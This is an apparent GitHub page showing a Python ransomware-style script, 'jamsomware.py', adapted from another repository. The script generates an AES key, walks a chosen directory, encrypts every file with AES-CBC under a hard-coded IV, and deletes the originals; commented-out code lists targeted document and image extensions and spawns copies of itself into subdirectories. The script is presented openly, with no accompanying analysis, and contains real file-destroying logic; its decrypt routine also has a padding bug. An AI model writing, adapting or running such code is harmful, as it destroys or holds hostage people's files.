-
Notifications
You must be signed in to change notification settings - Fork 0
/
jamsomware.py
137 lines (110 loc) · 3.86 KB
/
jamsomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/python3
# coding: ascii
# Basado en https://github.com/julupu/jamsomware
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Random.random import *
import argparse
import os
import subprocess
import sys
import time
class Log:
def write(self, msg):
print(msg)
class JamCrypt:
KEY_SIZE = 32
BLOCK_SIZE = 16
KEYFILE = os.path.join(os.path.expanduser("~"), "jam.key")
key = None
def __init__(self, key):
self.rndfile = Random.new()
if key == None:
self.key = self.rndfile.read(self.KEY_SIZE)
keyfile = open(self.KEYFILE, 'wb');
keyfile.write(self.key)
else:
self.key = key
self.IV = b"jamsomwareiscool"
def encrypt(self, src):
infile = open(src, 'rb')
outfile = open(src + ".enc", 'wb')
cipher = AES.new(self.key, AES.MODE_CBC, self.IV)
while True:
block = infile.read(self.BLOCK_SIZE)
if len(block) == 0:
break
elif len(block) % 16 != 0:
block += b' ' * (16-len(block) % 16)
outfile.write(cipher.encrypt(block))
def decrypt(self, src):
infile = open(src, 'rb')
outfile = open(src + ".dec", 'wb')
cipher = AES.new(self.key, AES.MODE_CBC, self.IV)
while True:
block = infile.read(self.BLOCK_SIZE)
if len(block) == 0:
break
elif len(block) % 16 != 0:
block += ' ' * (16-len(block) % 16)
outfile.write(cipher.decrypt(block))
if __name__ == "__main__":
parser = argparse.ArgumentParser()
#parser.add_argument('-d', '--decrypt', nargs=1)
#parser.add_argument('-e', '--encrypt', nargs=1)
parser.add_argument('-k', '--key', nargs=1)
# parser.add_argument('--clean', action="store_true", default=False)
parser.add_argument('--dir', nargs=1)
args = parser.parse_args()
key = None
dir = None
# log = Log();
# extensions = [".jpg", ".JPG", ".png", ".PNG", ".txt", ".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".ods", ".odp"]
if args.key:
#key = args.key[0]
keyfilehandle = open(args.key[0], 'rb')
key = keyfilehandle.read(JamCrypt.KEY_SIZE)
#if not args.key and args.decrypt:
# log.write("For decrypting you need to specify a key")
# sys.exit(1)
if args.dir:
dir = args.dir[0]
else:
print("Falta directorio")
sys.exit(1)
#dir = os.path.expanduser("~")
#if args.clean:
# for root, dirs, files in os.walk(dir):
# for file in files:
# if file.endswith(".enc") or file.endswith(".dec"):
# log.write("Removing " + os.path.join(root, file))
# os.remove(os.path.join(root, file))
# sys.exit(0)
crypt = JamCrypt(key)
print(dir, key)
#if args.decrypt:
# log.write("Decrypt " + args.decrypt[0])
# crypt.decrypt(args.decrypt[0])
# sys.exit(0)
for root, dirs, files in os.walk(dir):
for file in files:
print(os.path.join(root, file))
crypt.encrypt(os.path.join(root, file))
#crypt.decrypt(os.path.join(root, file))
os.remove(os.path.join(root, file))
# for file in os.listdir(dir):
# sleep = 2 * random()
# time.sleep(sleep)
# pathfile = os.path.join(dir, file)
#
# if os.path.isdir(pathfile):
# if sys.argv[0].endswith(".py"):
# subprocess.Popen(["python", sys.argv[0], "-k", keyfile, "--dir", pathfile])
# else:
# subprocess.Popen([sys.argv[0], "-k", keyfile, "--dir", pathfile])
# log.write(sys.argv[0])
# elif file.endswith(tuple(extensions)):
# crypt.encrypt(pathfile)
# os.remove(pathfile)
# else:
# pass